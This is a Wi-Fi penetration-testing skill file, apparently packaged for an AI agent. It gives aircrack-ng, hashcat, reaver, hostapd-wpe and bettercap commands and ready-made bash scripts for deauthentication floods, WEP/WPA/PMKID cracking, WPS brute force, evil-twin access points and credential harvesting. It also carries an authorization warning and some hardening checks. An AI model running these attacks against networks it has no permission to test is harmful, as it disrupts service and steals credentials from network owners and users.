Imported from reason-machines/security-skills (skills/wireless-security-wifi-pentesting/SKILL.md). Install upstream with npx skills add reason-machines/security-skills --skill wireless-security-wifi-pentesting. Copyright stays with the author.

Wireless Security & WiFi Penetration Testing

Skill by ara.so — Security Skills collection.

This skill provides expertise in wireless security assessment and Wi-Fi penetration testing using the aircrack-ng suite and related tools on Kali Linux. It covers 802.11 protocol analysis, monitor mode setup, WEP/WPA/WPA2/WPA3 attacks, rogue AP deployment, and enterprise wireless assessment.

Project Overview

The Wireless Security & WiFi Penetration Testing project is a comprehensive, hands-on curriculum covering:

• 802.11 standards and wireless fundamentals
• Monitor mode and packet injection setup
• Wireless reconnaissance and traffic analysis
• WEP cracking (multiple attack vectors)
• WPA/WPA2 handshake capture and cracking
• PMKID attacks (handshake-less)
• WPA3 and advanced attacks (KRACK, Dragonblood)
• Rogue access points and evil twin attacks
• Enterprise WPA (EAP/RADIUS) assessment
• Wireless hardening and defense

⚠️ Legal Warning: All techniques must only be used on networks you own or have explicit written authorization to test. Unauthorized wireless attacks are illegal.

Hardware Requirements

Wireless Adapters

You need an injection-capable wireless adapter. Built-in laptop Wi-Fi cards typically don't support monitor mode or packet injection.

Recommended chipsets:

• Atheros AR9271 (TP-Link TL-WN722N v1, Alfa AWUS036NHA)
• Ralink RT3070/RT5372 (Alfa AWUS036NH, Panda PAU09)

Critical: Only TP-Link TL-WN722N version 1 has the Atheros chipset. V2/V3 use Realtek and don't support injection reliably.

Test Environment

• 1-2 wireless adapters (one for capture, one optional for rogue AP)
• Test access point you own (with WEP/WPA/WPA2 configured)
• Client device(s) for testing
• Kali Linux (bare-metal or VM with USB passthrough)

Installation & Setup

Core Tools (Pre-installed on Kali)

# Update package lists
sudo apt update

# Install aircrack-ng suite (usually pre-installed)
sudo apt install aircrack-ng

# Install additional wireless tools
sudo apt install wireless-tools iw

# Install cracking tools
sudo apt install hashcat hcxtools hcxdumptool

# Install WPS attack tools
sudo apt install reaver bully

# Install rogue AP tools
sudo apt install hostapd dnsmasq

# Install traffic analysis tools
sudo apt install wireshark tcpdump bettercap

# Install wireless IDS
sudo apt install kismet

Verify Adapter Capabilities

# List wireless interfaces
iwconfig

# Check if adapter supports monitor mode
iw list | grep -A 10 "Supported interface modes"

# Expected output should include:
# * monitor

# Check for injection support
iw list | grep -A 10 "Supported commands"

# Should include:
# * set_channel
# * frame

Monitor Mode Setup

Enable Monitor Mode

# Check current wireless interfaces
iwconfig

# Kill interfering processes
sudo airmon-ng check kill

# Enable monitor mode on wlan0
sudo airmon-ng start wlan0

# Verify monitor interface created (usually wlan0mon)
iwconfig

# Alternative method using iw/ip
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

Test Packet Injection

# Test injection capability
sudo aireplay-ng --test wlan0mon

# Expected output:
# Trying broadcast probe requests...
# Injection is working!
# Found X APs

# Test injection against specific AP
sudo aireplay-ng --test -a <AP_MAC> wlan0mon

Disable Monitor Mode

# Stop monitor mode
sudo airmon-ng stop wlan0mon

# Restart NetworkManager
sudo systemctl start NetworkManager

Wireless Reconnaissance

Basic Network Scanning

# Scan for all networks on all channels
sudo airodump-ng wlan0mon

# Scan specific channel (e.g., channel 6)
sudo airodump-ng -c 6 wlan0mon

# Scan specific band (2.4GHz or 5GHz)
sudo airodump-ng --band abg wlan0mon  # All bands
sudo airodump-ng --band a wlan0mon    # 5GHz only
sudo airodump-ng --band bg wlan0mon   # 2.4GHz only

# Output explanation:
# BSSID: AP MAC address
# PWR: Signal strength
# Beacons: Beacon frames seen
# #Data: Data packets captured
# CH: Channel
# ENC: Encryption (WEP/WPA/WPA2/WPA3)
# ESSID: Network name

Targeted Reconnaissance

# Focus on specific BSSID and write to file
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# This creates files:
# capture-01.cap (packet capture)
# capture-01.csv (data in CSV)
# capture-01.kismet.csv (Kismet format)
# capture-01.kismet.netxml (Kismet XML)

# Filter for specific ESSID
sudo airodump-ng --essid "TargetNetwork" wlan0mon

# Show only clients (stations)
sudo airodump-ng --showack wlan0mon

Discover Hidden SSIDs

# Passive: Monitor until client connects
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon

# Active: Deauth clients to force reconnection (reveals SSID)
# Terminal 1: Capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w hidden wlan0mon

# Terminal 2: Deauth to force SSID broadcast
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon

WEP Attacks

Passive WEP Cracking

# Capture IVs (needs ~40,000-85,000 IVs)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_capture wlan0mon

# Once enough IVs captured, crack offline
aircrack-ng wep_capture-01.cap

# With specific BSSID
aircrack-ng -b AA:BB:CC:DD:EE:FF wep_capture-01.cap

Active WEP Cracking (Fake Authentication)

# Terminal 1: Start capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_active wlan0mon

# Terminal 2: Fake authentication
sudo aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon

# Terminal 3: ARP replay attack (generates traffic)
sudo aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon

# Terminal 4: Crack as IVs accumulate
aircrack-ng -b AA:BB:CC:DD:EE:FF wep_active-01.cap

WEP Chop-Chop Attack

# Terminal 1: Capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w chopchop wlan0mon

# Terminal 2: Fake auth
sudo aireplay-ng --fakeauth 0 -a AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon

# Terminal 3: Chop-chop attack
sudo aireplay-ng --chopchop -b AA:BB:CC:DD:EE:FF -h <YOUR_MAC> wlan0mon

# Creates .xor file, forge packet from it
sudo packetforge-ng --arp -a AA:BB:CC:DD:EE:FF -h <YOUR_MAC> -k 255.255.255.255 -l 255.255.255.255 -y <XOR_FILE> -w forged.cap

# Replay forged packet
sudo aireplay-ng --interactive -r forged.cap wlan0mon

# Crack
aircrack-ng chopchop-01.cap

WPA/WPA2 Handshake Capture

Capture WPA Handshake

# Terminal 1: Start capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wpa_capture wlan0mon

# Terminal 2: Deauth clients to force handshake
# Deauth all clients
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Deauth specific client
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c <CLIENT_MAC> wlan0mon

# Watch Terminal 1 for "WPA handshake: AA:BB:CC:DD:EE:FF"

# Verify handshake in capture
aircrack-ng wpa_capture-01.cap

Crack WPA/WPA2 PSK

# Crack with wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF wpa_capture-01.cap

# Crack with specific ESSID
aircrack-ng -w wordlist.txt -e "NetworkName" wpa_capture-01.cap

# Show networks in capture
aircrack-ng wpa_capture-01.cap

# Generate custom wordlist with crunch
crunch 8 8 -t pass@@@@ -o wordlist.txt

# Use hashcat (faster, GPU-accelerated)
# Convert cap to hccapx format
hcxpcapngtool -o hash.hc22000 wpa_capture-01.cap

# Crack with hashcat (mode 22000 for WPA/WPA2)
hashcat -m 22000 -a 0 hash.hc22000 /usr/share/wordlists/rockyou.txt

# Hashcat with rules
hashcat -m 22000 -a 0 hash.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule

# Show cracked passwords
hashcat -m 22000 hash.hc22000 --show

PMKID Attack (Handshake-less WPA2)

# Capture PMKID (no client needed!)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1

# Convert to hashcat format
hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng

# Crack with hashcat
hashcat -m 22000 -a 0 pmkid.hc22000 /usr/share/wordlists/rockyou.txt

# Alternative: Use old format (deprecated but may work)
hcxpcaptool -z pmkid.16800 pmkid.pcapng
hashcat -m 16800 -a 0 pmkid.16800 wordlist.txt

WPS Attacks

WPS PIN Brute Force

# Scan for WPS-enabled APs
wash -i wlan0mon

# Reaver attack (online brute force)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

# Reaver with delay (avoid rate limiting)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 2 -T 0.5

# Bully attack (alternative)
sudo bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon

# PixieWPS attack (offline)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K 1

Denial of Service Attacks

Deauthentication Attack

# Deauth all clients from AP (continuous)
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon

# Deauth specific client
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF -c <CLIENT_MAC> wlan0mon

# Deauth with count (10 packets)
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# MDK3 beacon flood
sudo mdk3 wlan0mon b -a

# MDK3 deauth flood
sudo mdk3 wlan0mon d -c 6

Rogue Access Point / Evil Twin

Basic Evil Twin with hostapd

# Create hostapd config
cat > evil_twin.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=FreeWiFi
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=0
EOF

# Start evil twin
sudo hostapd evil_twin.conf

Evil Twin with WPA2

# WPA2 evil twin config
cat > evil_wpa2.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=CorporateWiFi
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=password123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
rsn_pairwise=CCMP
EOF

sudo hostapd evil_wpa2.conf

Evil Twin with Internet Sharing

# Setup DHCP server
cat > /tmp/dnsmasq.conf << 'EOF'
interface=wlan0
dhcp-range=10.0.0.10,10.0.0.100,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
EOF

# Configure IP and routing
sudo ip addr add 10.0.0.1/24 dev wlan0
sudo ip link set wlan0 up

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1

# Setup NAT (replace eth0 with your internet interface)
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT

# Start DHCP
sudo dnsmasq -C /tmp/dnsmasq.conf -d

# Start evil twin
sudo hostapd evil_twin.conf

Automated Evil Twin with wifiphisher

# Install wifiphisher
sudo apt install wifiphisher

# Run automated evil twin attack
sudo wifiphisher -i wlan0 -e "TargetNetwork"

# With specific template
sudo wifiphisher -i wlan0 -e "TargetNetwork" -p firmware-upgrade

# Available templates:
# - firmware-upgrade
# - oauth-login
# - browser-plugin-update

Capture Credentials with bettercap

# Create caplet for credential harvesting
cat > evil.cap << 'EOF'
set wifi.ap.ssid FreeWiFi
set wifi.ap.bssid <SPOOF_MAC>
set wifi.ap.channel 6
set wifi.ap.encryption false
set net.sniff.verbose true
set net.sniff.local true

wifi.recon on
wifi.ap
net.sniff on
http.proxy on
https.proxy on
EOF

# Run bettercap with caplet
sudo bettercap -iface wlan0 -caplet evil.cap

WPA3 Attacks

Dragonblood (SAE Downgrade)

# Use hostapd-wpe for WPA3 testing
git clone https://github.com/OpenSecurityResearch/hostapd-wpe
cd hostapd-wpe
make

# Configure for WPA3
cat > wpa3_test.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=TestWPA3
hw_mode=g
channel=6
wpa=2
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
sae_password=testpassword
ieee80211w=2
EOF

# Run and capture handshakes
sudo ./hostapd wpa3_test.conf

PMKID on WPA3

# Attempt PMKID capture (may work on misconfigured WPA3)
sudo hcxdumptool -i wlan0mon -o wpa3_pmkid.pcapng --enable_status=1 --filterlist_ap=targets.txt --filtermode=2

# Convert and crack
hcxpcapngtool -o wpa3.hc22000 wpa3_pmkid.pcapng
hashcat -m 22000 -a 0 wpa3.hc22000 wordlist.txt

Enterprise WPA (802.1X / RADIUS)

Capture EAP Credentials

# Monitor enterprise network
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w eap_capture wlan0mon

# Look for EAPOL frames in capture

# Use hostapd-wpe (WPA Enterprise)
sudo hostapd-wpe hostapd-wpe.conf

# Configuration for PEAP/EAP-TTLS capture
cat > hostapd-wpe.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=CorpNet
channel=6
hw_mode=g
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP
auth_algs=3
ieee8021x=1
eapol_key_index_workaround=0
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=
dh_file=/etc/hostapd-wpe/certs/dh
EOF

# EAP user file
cat > hostapd.eap_user << 'EOF'
* PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 "t" [2]
EOF

# Credentials are logged to hostapd-wpe.log

Crack EAP Hashes

# Extract challenge/response from hostapd-wpe.log
# Format: username:challenge:response

# Crack MSCHAPv2 with asleap
asleap -C <challenge> -R <response> -W wordlist.txt

# Or use hashcat
# Extract from log and format properly, then:
hashcat -m 5500 -a 0 mschapv2.hash wordlist.txt

Traffic Analysis

Analyze Captured Packets

# Open in Wireshark
wireshark capture-01.cap

# Filter for specific traffic in Wireshark:
# wlan.fc.type_subtype == 0x08  (Beacon frames)
# wlan.fc.type_subtype == 0x00  (Association request)
# eapol                          (WPA handshakes)
# wlan.fc.type_subtype == 0x0c  (Deauth frames)

# Use tshark for CLI analysis
tshark -r capture-01.cap -Y "eapol"

# Extract handshakes
tshark -r capture-01.cap -Y "eapol" -w handshake.cap

# Statistics
tshark -r capture-01.cap -q -z io,stat,1

# Count frame types
tshark -r capture-01.cap -q -z wlan,stat

Wireless Hardening Checks

Scan for Vulnerabilities

# Check for WPS
wash -i wlan0mon

# Check for weak encryption
sudo airodump-ng wlan0mon | grep -E "WEP|WPA "

# Check for hidden networks
sudo airodump-ng wlan0mon --showack

# Detect rogue APs (compare BSSIDs)
sudo airodump-ng -c 6 wlan0mon -w baseline

Test Management Frame Protection (802.11w)

# Deauth attack should fail on 802.11w networks
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# If deauth works, 802.11w is not enabled

Configuration Files

Common aircrack-ng Options

# ~/.aircrackrc (not commonly used, but possible)
# Most config is via command-line arguments

# Environment variables
export AIRCRACK_NG_KEY_PATH=/path/to/wordlists
export AIRCRACK_NG_DEBUG=1

Wordlist Locations

# Default Kali wordlists
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/rockyou.txt.gz  # Need to gunzip first

# Extract rockyou
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

# SecLists (install separately)
git clone https://github.com/danielmiessler/SecLists.git

Troubleshooting

Adapter Not Entering Monitor Mode

# Kill interfering processes
sudo airmon-ng check kill

# Manually set monitor mode
sudo ip link set wlan0 down
sudo iw dev wlan0 set monitor control
sudo ip link set wlan0 up

# Check interface mode
iwconfig wlan0

# Verify with iw
iw dev wlan0 info

# Check for firmware issues
dmesg | tail -n 50

Injection Test Fails

# Verify adapter supports injection
iw list | grep -A 10 "Supported commands"

# Check for channel/regulatory issues
sudo iw reg set US  # Set to your country
iw reg get

# Verify you're on correct channel
sudo iw dev wlan0mon set channel 6

# Test injection without encryption
sudo aireplay-ng --test wlan0mon

# If fails, check chipset compatibility
lsusb  # Find vendor/product ID

No Handshake Captured

# Ensure you're on the right channel
sudo airodump-ng -c <AP_CHANNEL> --bssid <AP_MAC> -w capture wlan0mon

# Ensure clients are connected (watch STATION column)

# Increase deauth count
sudo aireplay-ng --deauth 20 -a <AP_MAC> wlan0mon

# Try targeting specific client
sudo aireplay-ng --deauth 20 -a <AP_MAC> -c <CLIENT_MAC> wlan0mon

# Verify capture contains EAPOL frames
tshark -r capture-01.cap -Y eapol

# Check with aircrack-ng
aircrack-ng capture-01.cap
# Look for "1 handshake" in output

Aircrack-ng Shows No Networks

# Verify capture contains data
ls -lh capture-01.cap

# Check with tshark
tshark -r capture-01.cap | head

# Ensure capture is on correct channel
# Re-capture with explicit channel:
sudo airodump-ng -c 6 -w new_capture wlan0mon

Cracking Takes Forever

# Use GPU acceleration with hashcat instead
hcxpcapngtool -o hash.hc22000 capture-01.cap
hashcat -m 22000 -a 0 hash.hc22000 -w 3 wordlist.txt

# Check hashcat performance
hashcat -m 22000 -b

# Use rules to expand wordlist
hashcat -m 22000 hash.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule

# Try mask attack for known patterns
hashcat -m 22000 -a 3 hash.hc22000 ?d?d?d?d?d?d?d?d  # 8 digits

hostapd Fails to Start

# Check interface is not in use
sudo airmon-ng check kill
sudo systemctl stop NetworkManager

# Ensure interface is up
sudo ip link set wlan0 up

# Check for configuration errors
sudo hostapd -dd hostapd.conf

# Verify channel is valid
iw list | grep -A 20 "Frequencies"

# Check for conflicting processes
sudo lsof | grep wlan0

Evil Twin Not Visible to Clients

# Ensure channel matches target AP
# Ensure MAC is spoofed if needed
sudo macchanger -m <TARGET_MAC> wlan0

# Verify AP is broadcasting
sudo airodump-ng wlan0mon

# Check signal strength (clients prefer stronger signal)
# Increase TX power (be mindful of regulations)
sudo iw dev wlan0 set txpower fixed 2000  # 20dBm

# Deauth clients from legitimate AP
sudo aireplay-ng --deauth 0 -a <LEGIT_AP_MAC> wlan0mon

Common Patterns

Complete WPA2 Assessment Workflow

#!/bin/bash
# Full WPA2 PSK assessment

INTERFACE="wlan0mon"
TARGET_BSSID="AA:BB:CC:DD:EE:FF"
TARGET_CHANNEL="6"
OUTPUT_PREFIX="target_capture"
WORDLIST="/usr/share/wordlists/rockyou.txt"

# 1. Enable monitor mode
sudo airmon-ng start wlan0

# 2. Start capture
sudo airodump-ng -c "$TARGET_CHANNEL" --bssid "$TARGET_BSSID" \
  -w "$OUTPUT_PREFIX" "$INTERFACE" &
AIRODUMP_PID=$!

# 3. Wait for clients
sleep 10

# 4. Deauth to capture handshake
sudo aireplay-ng --deauth 10 -a "$TARGET_BSSID" "$INTERFACE"

# 5. Wait for handshake
sleep 5

# 6. Stop capture
kill $AIRODUMP_PID

# 7. Verify handshake
if aircrack-ng "${OUTPUT_PREFIX}-01.cap" | grep -q "1 handshake"; then
  echo "[+] Handshake captured!"
  
  # 8. Convert for hashcat
  hcxpcapngtool -o hash.hc22000 "${OUTPUT_PREFIX}-01.cap"
  
  # 9. Crack with hashcat
  hashcat -m 22000 -a 0 hash.hc22000 "$WORDLIST" -w 3
  
  # 10. Show results
  hashcat -m 22000 hash.hc22000 --show
else
  echo "[-] No handshake captured, try again"
fi

# 11. Cleanup
sudo airmon-ng stop "$INTERFACE"

Automated PMKID Capture and Crack

#!/bin/bash
# PMKID attack (no handshake needed)

INTERFACE="wlan0mon"
OUTPUT="pmkid_capture"
WORDLIST="/usr/share/wordlists/rockyou.txt"

# Enable monitor mode
sudo airmon-ng start wlan0

# Capture PMKIDs (runs for 2 minutes)
timeout 120 sudo hcxdumptool -i "$INTERFACE" -o "${OUTPUT}.pcapng" \
  --enable_status=1

# Convert to hashcat format
hcxpcapngtool -o "${OUTPUT}.hc22000" "${OUTPUT}.pcapng"

# Crack
hashcat -m 22000 -a 0 "${OUTPUT}.hc22000" "$WORDLIST" -w 3

# Show cracked passwords
hashcat -m 22000 "${OUTPUT}.hc22000" --show

# Cleanup
sudo airmon-ng stop "$INTERFACE"

Multi-Channel Hopping Recon

#!/bin/bash
# Scan all channels and save results

INTERFACE="wlan0mon"
OUTPUT="full_recon"
DURATION=10  # seconds per channel

sudo airmon-ng start wlan0

for channel in 1 2 3 4 5 6 7 8 9 10 11; do
  echo "[*] Scanning channel $channel"
  timeout "$DURATION" sudo airodump-ng -c "$channel" \
    -w "${OUTPUT}_ch${channel}" "$INTERFACE"
done

# Merge all captures
mergecap -w "${OUTPUT}_merged.cap" ${OUTPUT}_ch*.cap

echo "[+] Recon complete. Analyze with:"
echo "    wireshark ${OUTPUT}_merged.cap"

sudo airmon-ng stop "$INTERFACE"

Best Practices

1. Always get written authorization before testing any wireless network
2. Isolate your test lab - use low TX power and RF shielding
3. Take snapshots before each attack in case you need to revert
4. Test injection before starting attacks - save time debugging
5. Use hashcat for cracking whenever possible - much faster than aircrack-ng
6. Monitor airodump output - ensure you're capturing target traffic
7. Document everything - channels, BSSIDs, client MACs, timestamps
8. Clean up - disable monitor mode and restart NetworkManager when done
9. Use wordlists strategically - start with common passwords, then expand
10. **Understand the protocol